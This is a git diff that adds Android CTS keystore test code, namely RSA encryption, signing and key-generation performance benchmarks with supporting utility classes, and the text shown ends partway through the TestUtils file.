diff --git a/tests/tests/keystore/src/android/keystore/cts/performance/PerformanceTestResult.java b/tests/tests/keystore/src/android/keystore/cts/performance/PerformanceTestResult.java
new file mode 100644
index 0000000..4fb9a9d
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/performance/PerformanceTestResult.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.keystore.cts.performance;
+
+import junit.framework.TestCase;
+
+import java.util.Arrays;
+
+/**
+ * Simple struct to package test results. All times are in nanoseconds. Doubles are used rather than
+ * longs because arithmetic on nanoseconds in longs can overflow.
+ */
+public class PerformanceTestResult {
+    private double mSetupTime;
+    private int mSampleCount = 0;
+    private double[] mSamples = new double[PerformanceTestBase.TEST_ITERATION_LIMIT];
+    private double mTeardownTime;
+
+    public void addSetupTime(double timeInNs) {
+        mSetupTime += timeInNs / PerformanceTestBase.MS_PER_NS;
+    }
+
+    public double getSetupTime() {
+        return mSetupTime;
+    }
+
+    public void addTeardownTime(double timeInNs) {
+        mTeardownTime += timeInNs / PerformanceTestBase.MS_PER_NS;
+    }
+
+    public double getTearDownTime() {
+        return mTeardownTime;
+    }
+
+    public void addMeasurement(double timeInNs) {
+        if (mSampleCount == PerformanceTestBase.TEST_ITERATION_LIMIT) {
+            TestCase.fail("Array is full, this is a test bug.");
+        }
+        mSamples[mSampleCount++] = timeInNs / PerformanceTestBase.MS_PER_NS;
+    }
+
+    public int getSampleCount() {
+        return mSampleCount;
+    }
+
+    public double getTotalTime() {
+        double sum = 0;
+        for (int i = 0; i < mSampleCount; ++i) {
+            sum += mSamples[i];
+        }
+        return sum;
+    }
+
+    public double getTotalTimeSq() {
+        double sum = 0;
+        for (int i = 0; i < mSampleCount; ++i) {
+            sum += (double) mSamples[i] * mSamples[i];
+        }
+        return sum;
+    }
+
+    public double getMedian() {
+        return getPercentile(0.5);
+    }
+
+    public double getPercentile(double v) {
+        Arrays.sort(mSamples, 0, mSampleCount);
+        return mSamples[(int) Math.ceil(mSampleCount * v) - 1];
+    }
+
+    public double getMean() {
+        return getTotalTime() / mSampleCount;
+    }
+
+    public double getSampleStdDev() {
+        double totalTime = getTotalTime();
+        return Math.sqrt(mSampleCount * getTotalTimeSq() - totalTime * totalTime)
+                / (mSampleCount * (mSampleCount - 1));
+    }
+
+    @Override
+    public String toString() {
+        return mSampleCount
+                + ","
+                + getMean()
+                + ","
+                + getSampleStdDev()
+                + ","
+                + getMedian()
+                + ","
+                + getPercentile(0.9);
+    }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/performance/RsaCipherPerformanceTest.java b/tests/tests/keystore/src/android/keystore/cts/performance/RsaCipherPerformanceTest.java
new file mode 100644
index 0000000..fe6a9d2
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/performance/RsaCipherPerformanceTest.java
@@ -0,0 +1,165 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.keystore.cts.performance;
+
+import android.keystore.cts.util.EmptyArray;
+import android.keystore.cts.util.TestUtils;
+import android.security.keystore.KeyProperties;
+
+import java.security.AlgorithmParameters;
+import java.security.KeyPair;
+
+import javax.crypto.Cipher;
+
+import org.junit.Test;
+
+public class RsaCipherPerformanceTest extends PerformanceTestBase {
+
+    final int[] SUPPORTED_RSA_KEY_SIZES = {2048, 3072, 4096};
+    final int[] TEST_MESSAGE_SIZES = {1 << 6, 1 << 10};
+
+    @Test
+    public void testRSA_ECB_NoPadding() throws Exception {
+        testRsaCipher("RSA/ECB/NoPadding", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testRSA_ECB_PKCS1Padding() throws Exception {
+        testRsaCipher("RSA/ECB/PKCS1Padding", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testRSA_ECB_OAEPWithSHA_1AndMGF1Padding() throws Exception {
+        testRsaCipher(
+                "RSA/ECB/OAEPWithSHA-1AndMGF1Padding", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testRSA_ECB_OAEPPadding() throws Exception {
+        testRsaCipher("RSA/ECB/OAEPPadding", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    private void testRsaCipher(String algorithm, int[] keySizes, int[] messageSizes)
+            throws Exception {
+        for (int keySize : keySizes) {
+            int maxMessageSize =
+                    TestUtils.getMaxSupportedPlaintextInputSizeBytes(algorithm, keySize);
+            for (int messageSize : messageSizes) {
+                if (messageSize > maxMessageSize) {
+                    continue;
+                }
+                measure(
+                        new KeystoreRsaEncryptMeasurable(
+                                new AndroidKeystoreRsaKeyGenerator(algorithm, keySize),
+                                keySize,
+                                messageSize),
+                        new KeystoreRsaDecryptMeasurable(
+                                new AndroidKeystoreRsaKeyGenerator(algorithm, keySize),
+                                keySize,
+                                messageSize),
+                        new KeystoreRsaEncryptMeasurable(
+                                new DefaultKeystoreKeyPairGenerator(algorithm, keySize),
+                                keySize,
+                                messageSize),
+                        new KeystoreRsaDecryptMeasurable(
+                                new DefaultKeystoreKeyPairGenerator(algorithm, keySize),
+                                keySize,
+                                messageSize));
+            }
+        }
+    }
+
+    private class AndroidKeystoreRsaKeyGenerator extends AndroidKeystoreKeyGenerator {
+
+        AndroidKeystoreRsaKeyGenerator(String algorithm, int keySize) throws Exception {
+            super(algorithm);
+            String digest = TestUtils.getCipherDigest(algorithm);
+            getKeyPairGenerator()
+                    .initialize(
+                            getKeyGenParameterSpecBuilder(
+                                            KeyProperties.PURPOSE_ENCRYPT
+                                                    | KeyProperties.PURPOSE_DECRYPT)
+                                    .setBlockModes(TestUtils.getCipherBlockMode(algorithm))
+                                    .setEncryptionPaddings(
+                                            TestUtils.getCipherEncryptionPadding(algorithm))
+                                    .setRandomizedEncryptionRequired(false)
+                                    .setKeySize(keySize)
+                                    .setDigests(
+                                            (digest != null)
+                                                    ? new String[] {digest}
+                                                    : EmptyArray.STRING)
+                                    .build());
+        }
+    }
+
+    private class KeystoreRsaEncryptMeasurable extends KeystoreMeasurable {
+        private final Cipher mCipher;
+        private KeyPair mKey;
+
+        KeystoreRsaEncryptMeasurable(
+                KeystoreKeyGenerator keyGenerator, int keySize, int messageSize) throws Exception {
+            super(keyGenerator, "encrypt", keySize, messageSize);
+            mCipher = Cipher.getInstance(getAlgorithm());
+        }
+
+        @Override
+        public void initialSetUp() throws Exception {
+            mKey = generateKeyPair();
+        }
+
+        @Override
+        public void setUp() throws Exception {
+            mCipher.init(Cipher.ENCRYPT_MODE, mKey.getPublic());
+        }
+
+        @Override
+        public void measure() throws Exception {
+            mCipher.doFinal(getMessage());
+        }
+    }
+
+    private class KeystoreRsaDecryptMeasurable extends KeystoreMeasurable {
+        private final Cipher mCipher;
+        private byte[] mEncryptedMessage;
+        private AlgorithmParameters mAlgorithmParams;
+        private KeyPair mKey;
+
+        KeystoreRsaDecryptMeasurable(
+                KeystoreKeyGenerator keyGenerator, int keySize, int messageSize) throws Exception {
+            super(keyGenerator, "decrypt", keySize, messageSize);
+            mCipher = Cipher.getInstance(getAlgorithm());
+        }
+
+        @Override
+        public void initialSetUp() throws Exception {
+            mKey = generateKeyPair();
+            mCipher.init(Cipher.ENCRYPT_MODE, mKey.getPublic());
+            mEncryptedMessage = mCipher.doFinal(getMessage());
+            mAlgorithmParams = mCipher.getParameters();
+        }
+
+        @Override
+        public void setUp() throws Exception {
+            mCipher.init(Cipher.DECRYPT_MODE, mKey.getPrivate(), mAlgorithmParams);
+        }
+
+        @Override
+        public void measure() throws Exception {
+            mCipher.doFinal(mEncryptedMessage);
+        }
+    }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/performance/RsaKeyGenPerformanceTest.java b/tests/tests/keystore/src/android/keystore/cts/performance/RsaKeyGenPerformanceTest.java
new file mode 100644
index 0000000..448af5b
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/performance/RsaKeyGenPerformanceTest.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.keystore.cts.performance;
+
+import android.security.keystore.KeyProperties;
+
+import org.junit.Test;
+
+public class RsaKeyGenPerformanceTest extends PerformanceTestBase {
+
+    @Test
+    public void testRsa2048KeyGenWithAndroidProvider() throws Exception {
+        measureKeyGenWithAndroidProvider(2048);
+    }
+
+    @Test
+    public void testRsa3072KeyGenWithAndroidProvider() throws Exception {
+        measureKeyGenWithAndroidProvider(3072);
+    }
+
+    @Test
+    public void testRsa4096KeyGenWithAndroidProvider() throws Exception {
+        measureKeyGenWithAndroidProvider(4096);
+    }
+
+    @Test
+    public void testRsa2048KeyGenWithDefaultProvider() throws Exception {
+        measureKeyGenWithDefaultProvider(2048);
+    }
+
+    @Test
+    public void testRsa3072KeyGenWithDefaultProvider() throws Exception {
+        measureKeyGenWithDefaultProvider(3072);
+    }
+
+    @Test
+    public void testRsa4096KeyGenWithDefaultProvider() throws Exception {
+        measureKeyGenWithDefaultProvider(4096);
+    }
+
+    private void measureKeyGen(KeystoreKeyGenerator generator, int keySize) throws Exception {
+        measure(new KeystoreKeyPairGenMeasurable(generator, keySize));
+    }
+
+    private void measureKeyGenWithAndroidProvider(int keySize) throws Exception {
+        AndroidKeystoreKeyGenerator generator = new AndroidKeystoreKeyGenerator("RSA") {
+        };
+        generator.getKeyPairGenerator()
+                .initialize(
+                        generator.getKeyGenParameterSpecBuilder(
+                                KeyProperties.PURPOSE_SIGN
+                                        | KeyProperties.PURPOSE_VERIFY)
+                                .setKeySize(keySize)
+                                .build());
+        measureKeyGen(generator, keySize);
+    }
+
+    private void measureKeyGenWithDefaultProvider(int keySize) throws Exception {
+        measureKeyGen(new DefaultKeystoreKeyPairGenerator("RSA", keySize), keySize);
+    }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/performance/RsaSignaturePerformanceTest.java b/tests/tests/keystore/src/android/keystore/cts/performance/RsaSignaturePerformanceTest.java
new file mode 100644
index 0000000..81839d4
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/performance/RsaSignaturePerformanceTest.java
@@ -0,0 +1,196 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.keystore.cts.performance;
+
+import android.keystore.cts.util.TestUtils;
+import android.security.keystore.KeyProperties;
+
+import org.junit.Test;
+
+import java.security.KeyPair;
+import java.security.Signature;
+import java.util.Arrays;
+
+public class RsaSignaturePerformanceTest extends PerformanceTestBase {
+
+    final int[] SUPPORTED_RSA_KEY_SIZES = {2048, 3072, 4096};
+    final int[] TEST_MESSAGE_SIZES = {1 << 6, 1 << 10, 1 << 17};
+
+    @Test
+    public void testNONEwithRSA() throws Exception {
+        for (int keySize : SUPPORTED_RSA_KEY_SIZES) {
+            int modulusSizeBytes = (keySize + 7) / 8;
+            int[] messageSizes =
+                    Arrays.stream(TEST_MESSAGE_SIZES).filter(x -> modulusSizeBytes > x).toArray();
+            testRsaSign("NONEwithRSA", new int[] {keySize}, messageSizes);
+        }
+    }
+
+    @Test
+    public void testMD5withRSA() throws Exception {
+        testRsaSign("MD5withRSA", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testSHA1withRSA() throws Exception {
+        testRsaSign("SHA1withRSA", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testSHA224withRSA() throws Exception {
+        testRsaSign("SHA224withRSA", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testSHA256withRSA() throws Exception {
+        testRsaSign("SHA256withRSA", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testSHA384withRSA() throws Exception {
+        testRsaSign("SHA384withRSA", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testSHA512withRSA() throws Exception {
+        testRsaSign("SHA512withRSA", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testSHA1withRSA_PSS() throws Exception {
+        testRsaSign("SHA1withRSA/PSS", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testSHA224withRSA_PSS() throws Exception {
+        testRsaSign("SHA224withRSA/PSS", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testSHA256withRSA_PSS() throws Exception {
+        testRsaSign("SHA256withRSA/PSS", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testSHA384withRSA_PSS() throws Exception {
+        testRsaSign("SHA384withRSA/PSS", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testSHA512withRSA_PSS() throws Exception {
+        testRsaSign("SHA512withRSA/PSS", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    private void testRsaSign(String algorithm, int[] keySizes, int[] messageSizes)
+            throws Exception {
+        for (int keySize : keySizes) {
+            if (!TestUtils.isKeyLongEnoughForSignatureAlgorithm(algorithm, keySize)) {
+                continue;
+            }
+            KeystoreKeyGenerator androidKeystoreRsaGenerator =
+                    new AndroidKeystoreRsaKeyGenerator(algorithm, keySize);
+            KeystoreKeyGenerator defaultKeystoreRsaGenerator =
+                    new DefaultKeystoreKeyPairGenerator(algorithm, keySize);
+            for (int messageSize : messageSizes) {
+                measure(
+                        new KeystoreRsaSignMeasurable(
+                                androidKeystoreRsaGenerator, keySize, messageSize),
+                        new KeystoreRsaSignMeasurable(
+                                defaultKeystoreRsaGenerator, keySize, messageSize),
+                        new KeystoreRsaVerifyMeasurable(
+                                androidKeystoreRsaGenerator, keySize, messageSize),
+                        new KeystoreRsaVerifyMeasurable(
+                                defaultKeystoreRsaGenerator, keySize, messageSize));
+            }
+        }
+    }
+
+    private class AndroidKeystoreRsaKeyGenerator extends AndroidKeystoreKeyGenerator {
+
+        AndroidKeystoreRsaKeyGenerator(String algorithm, int keySize) throws Exception {
+            super(algorithm);
+            getKeyPairGenerator()
+                    .initialize(
+                            getKeyGenParameterSpecBuilder(
+                                            KeyProperties.PURPOSE_SIGN
+                                                    | KeyProperties.PURPOSE_VERIFY)
+                                    .setKeySize(keySize)
+                                    .setSignaturePaddings(
+                                            TestUtils.getSignatureAlgorithmPadding(algorithm))
+                                    .setDigests(TestUtils.getSignatureAlgorithmDigest(algorithm))
+                                    .build());
+        }
+    }
+
+    private class KeystoreRsaSignMeasurable extends KeystoreMeasurable {
+        private final Signature mSignature;
+        private KeyPair mKey;
+
+        KeystoreRsaSignMeasurable(KeystoreKeyGenerator keyGen, int keySize, int messageSize)
+                throws Exception {
+            super(keyGen, "sign", keySize, messageSize);
+            mSignature = Signature.getInstance(getAlgorithm());
+        }
+
+        @Override
+        public void initialSetUp() throws Exception {
+            mKey = generateKeyPair();
+        }
+
+        @Override
+        public void setUp() throws Exception {
+            mSignature.initSign(mKey.getPrivate());
+        }
+
+        @Override
+        public void measure() throws Exception {
+            mSignature.update(getMessage());
+            mSignature.sign();
+        }
+    }
+
+    private class KeystoreRsaVerifyMeasurable extends KeystoreMeasurable {
+        private final Signature mSignature;
+        private byte[] mMessageSignature;
+        private KeyPair mKey;
+
+        KeystoreRsaVerifyMeasurable(KeystoreKeyGenerator keyGen, int keySize, int messageSize)
+                throws Exception {
+            super(keyGen, "verify", keySize, messageSize);
+            mSignature = Signature.getInstance(getAlgorithm());
+        }
+
+        @Override
+        public void initialSetUp() throws Exception {
+            mKey = generateKeyPair();
+            mSignature.initSign(mKey.getPrivate());
+            mSignature.update(getMessage());
+            mMessageSignature = mSignature.sign();
+        }
+
+        @Override
+        public void setUp() throws Exception {
+            mSignature.initVerify(mKey.getPublic());
+        }
+
+        @Override
+        public void measure() throws Exception {
+            mSignature.update(getMessage());
+            mSignature.verify(mMessageSignature);
+        }
+    }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/util/EmptyArray.java b/tests/tests/keystore/src/android/keystore/cts/util/EmptyArray.java
new file mode 100644
index 0000000..72347cc
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/util/EmptyArray.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts.util;
+
+public abstract class EmptyArray {
+    private EmptyArray() {}
+
+    public static final byte[] BYTE = new byte[0];
+    public static final String[] STRING = new String[0];
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/util/ImportedKey.java b/tests/tests/keystore/src/android/keystore/cts/util/ImportedKey.java
new file mode 100644
index 0000000..beeb2b9
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/util/ImportedKey.java
@@ -0,0 +1,150 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts.util;
+
+import java.security.Key;
+import java.security.KeyPair;
+
+import javax.crypto.SecretKey;
+
+public class ImportedKey {
+    private final boolean mSymmetric;
+    private final String mAlias;
+    private final KeyPair mOriginalKeyPair;
+    private final KeyPair mKeystoreBackedKeyPair;
+    private final SecretKey mOriginalSecretKey;
+    private final SecretKey mKeystoreBackedSecretKey;
+
+    public ImportedKey(String alias, KeyPair original, KeyPair keystoreBacked) {
+        mAlias = alias;
+        mSymmetric = false;
+        mOriginalKeyPair = original;
+        mKeystoreBackedKeyPair = keystoreBacked;
+        mOriginalSecretKey = null;
+        mKeystoreBackedSecretKey = null;
+    }
+
+    public ImportedKey(String alias, SecretKey original, SecretKey keystoreBacked) {
+        mAlias = alias;
+        mSymmetric = true;
+        mOriginalKeyPair = null;
+        mKeystoreBackedKeyPair = null;
+        mOriginalSecretKey = original;
+        mKeystoreBackedSecretKey = keystoreBacked;
+    }
+
+    public String getAlias() {
+        return mAlias;
+    }
+
+    public Key getOriginalEncryptionKey() {
+        if (mSymmetric) {
+            return mOriginalSecretKey;
+        } else {
+            return mOriginalKeyPair.getPublic();
+        }
+    }
+
+    public Key getOriginalDecryptionKey() {
+        if (mSymmetric) {
+            return mOriginalSecretKey;
+        } else {
+            return mOriginalKeyPair.getPrivate();
+        }
+    }
+
+    public Key getOriginalSigningKey() {
+        if (mSymmetric) {
+            return mOriginalSecretKey;
+        } else {
+            return mOriginalKeyPair.getPrivate();
+        }
+    }
+
+    public Key getOriginalVerificationKey() {
+        if (mSymmetric) {
+            return mOriginalSecretKey;
+        } else {
+            return mOriginalKeyPair.getPublic();
+        }
+    }
+
+    public Key getKeystoreBackedEncryptionKey() {
+        if (mSymmetric) {
+            return mKeystoreBackedSecretKey;
+        } else {
+            return mKeystoreBackedKeyPair.getPublic();
+        }
+    }
+
+    public Key getKeystoreBackedDecryptionKey() {
+        if (mSymmetric) {
+            return mKeystoreBackedSecretKey;
+        } else {
+            return mKeystoreBackedKeyPair.getPrivate();
+        }
+    }
+
+    public Key getKeystoreBackedSigningKey() {
+        if (mSymmetric) {
+            return mKeystoreBackedSecretKey;
+        } else {
+            return mKeystoreBackedKeyPair.getPrivate();
+        }
+    }
+
+    public Key getKeystoreBackedVerificationKey() {
+        if (mSymmetric) {
+            return mKeystoreBackedSecretKey;
+        } else {
+            return mKeystoreBackedKeyPair.getPublic();
+        }
+    }
+
+
+    public KeyPair getOriginalKeyPair() {
+        checkIsKeyPair();
+        return mOriginalKeyPair;
+    }
+
+    public KeyPair getKeystoreBackedKeyPair() {
+        checkIsKeyPair();
+        return mKeystoreBackedKeyPair;
+    }
+
+    public SecretKey getOriginalSecretKey() {
+        checkIsSecretKey();
+        return mOriginalSecretKey;
+    }
+
+    public SecretKey getKeystoreBackedSecretKey() {
+        checkIsSecretKey();
+        return mKeystoreBackedSecretKey;
+    }
+
+    private void checkIsKeyPair() {
+        if (mSymmetric) {
+            throw new IllegalStateException("Not a KeyPair");
+        }
+    }
+
+    private void checkIsSecretKey() {
+        if (!mSymmetric) {
+            throw new IllegalStateException("Not a SecretKey");
+        }
+    }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/util/TestUtils.java b/tests/tests/keystore/src/android/keystore/cts/util/TestUtils.java
new file mode 100644
index 0000000..84e8969
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/util/TestUtils.java
@@ -0,0 +1,1143 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts.util;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.pm.FeatureInfo;
+import android.os.Build;
+import android.os.SystemProperties;
+import android.security.keystore.KeyGenParameterSpec;
+import android.security.keystore.KeyInfo;
+import android.security.keystore.KeyProperties;
+import android.security.keystore.KeyProtection;
+import android.test.MoreAsserts;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.internal.util.HexDump;
+
+import org.junit.Assert;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.math.BigInteger;
+import java.security.Key;
+import java.security.KeyFactory;
+import java.security.KeyPair;
+import java.security.KeyPairGenerator;
+import java.security.KeyStore;
+import java.security.KeyStoreException;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.security.NoSuchProviderException;
+import java.security.PrivateKey;
+import java.security.PublicKey;
+import java.security.UnrecoverableEntryException;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateFactory;
+import java.security.cert.X509Certificate;
+import java.security.interfaces.ECKey;
+import java.security.interfaces.ECPrivateKey;
+import java.security.interfaces.ECPublicKey;
+import java.security.interfaces.RSAKey;
+import java.security.interfaces.RSAPrivateKey;
+import java.security.interfaces.RSAPublicKey;
+import java.security.spec.ECParameterSpec;
+import java.security.spec.EllipticCurve;
+import java.security.spec.InvalidKeySpecException;
+import java.security.spec.PKCS8EncodedKeySpec;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Locale;
+import java.util.Map;
+import java.security.SecureRandom;
+
+import javax.crypto.SecretKey;
+import javax.crypto.SecretKeyFactory;
+import javax.crypto.spec.SecretKeySpec;
+
+public class TestUtils {
+
+    public static final String EXPECTED_CRYPTO_OP_PROVIDER_NAME = "AndroidKeyStoreBCWorkaround";
+    public static final String EXPECTED_PROVIDER_NAME = "AndroidKeyStore";
+
+    public static final long DAY_IN_MILLIS = 1000 * 60 * 60 * 24;
+
+    private TestUtils() {}
+
+    static public void assumeStrongBox() {
+        PackageManager packageManager =
+                InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
+        assumeTrue("Can only test if we have StrongBox",
+                packageManager.hasSystemFeature(PackageManager.FEATURE_STRONGBOX_KEYSTORE));
+    }
+
+    // Returns 0 if not implemented. Otherwise returns the feature version.
+    //
+    public static int getFeatureVersionKeystore(Context appContext) {
+        PackageManager pm = appContext.getPackageManager();
+
+        int featureVersionFromPm = 0;
+        if (pm.hasSystemFeature(PackageManager.FEATURE_HARDWARE_KEYSTORE)) {
+            FeatureInfo info = null;
+            FeatureInfo[] infos = pm.getSystemAvailableFeatures();
+            for (int n = 0; n < infos.length; n++) {
+                FeatureInfo i = infos[n];
+                if (i.name.equals(PackageManager.FEATURE_HARDWARE_KEYSTORE)) {
+                    info = i;
+                    break;
+                }
+            }
+            if (info != null) {
+                featureVersionFromPm = info.version;
+            }
+        }
+
+        return featureVersionFromPm;
+    }
+
+    // Returns 0 if not implemented. Otherwise returns the feature version.
+    //
+    public static int getFeatureVersionKeystoreStrongBox(Context appContext) {
+        PackageManager pm = appContext.getPackageManager();
+
+        int featureVersionFromPm = 0;
+        if (pm.hasSystemFeature(PackageManager.FEATURE_STRONGBOX_KEYSTORE)) {
+            FeatureInfo info = null;
+            FeatureInfo[] infos = pm.getSystemAvailableFeatures();
+            for (int n = 0; n < infos.length; n++) {
+                FeatureInfo i = infos[n];
+                if (i.name.equals(PackageManager.FEATURE_STRONGBOX_KEYSTORE)) {
+                    info = i;
+                    break;
+                }
+            }
+            if (info != null) {
+                featureVersionFromPm = info.version;
+            }
+        }
+
+        return featureVersionFromPm;
+    }
+
+    /**
+     * Asserts that the given key is supported by KeyMint after a given (inclusive) version. The
+     * assertion checks that:
+     * 1. The current keystore feature version is less than <code>version</code> and
+     *    <code>keyInfo</code> is implemented in software.
+     *    OR
+     * 2. The current keystore feature version is greater than or equal to <code>version</code>,
+     *    and <code>keyInfo</code> is implemented by KeyMint.
+     */
+    public static void assertImplementedByKeyMintAfter(KeyInfo keyInfo, int version)
+            throws Exception {
+        // ECDSA keys are always implemented in keymaster since v1, so we can use an ECDSA
+        // to check whether the backend is implemented in HW or is SW-emulated.
+        int ecdsaSecurityLevel;
+        try {
+            KeyPairGenerator kpg =
+                    KeyPairGenerator.getInstance(KeyProperties.KEY_ALGORITHM_EC, "AndroidKeyStore");
+            kpg.initialize(
+                    new KeyGenParameterSpec.Builder("ecdsa-test-key",
+                            KeyProperties.PURPOSE_SIGN).build());
+            KeyPair kp = kpg.generateKeyPair();
+            KeyFactory factory = KeyFactory.getInstance(kp.getPrivate().getAlgorithm(),
+                    "AndroidKeyStore");
+            ecdsaSecurityLevel = factory.getKeySpec(kp.getPrivate(),
+                    KeyInfo.class).getSecurityLevel();
+        } finally {
+            KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
+            keyStore.load(null);
+            keyStore.deleteEntry("ecdsa-test-key");
+        }
+
+        Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+        if (getFeatureVersionKeystore(context) >= version) {
+            Assert.assertEquals(keyInfo.getSecurityLevel(), ecdsaSecurityLevel);
+        } else {
+            Assert.assertEquals(keyInfo.getSecurityLevel(),
+                    KeyProperties.SECURITY_LEVEL_SOFTWARE);
+        }
+    }
+
+
+    /**
+     * Returns whether 3DES KeyStore tests should run on this device. 3DES support was added in
+     * KeyMaster 4.0 and there should be no software fallback on earlier KeyMaster versions.
+     */
+    public static boolean supports3DES() {
+        return "true".equals(SystemProperties.get("ro.hardware.keystore_desede"));
+    }
+
+    /**
+     * Returns whether the device has a StrongBox backed KeyStore.
+     */
+    public static boolean hasStrongBox(Context context) {
+        return context.getPackageManager()
+            .hasSystemFeature(PackageManager.FEATURE_STRONGBOX_KEYSTORE);
+    }
+
+    /**
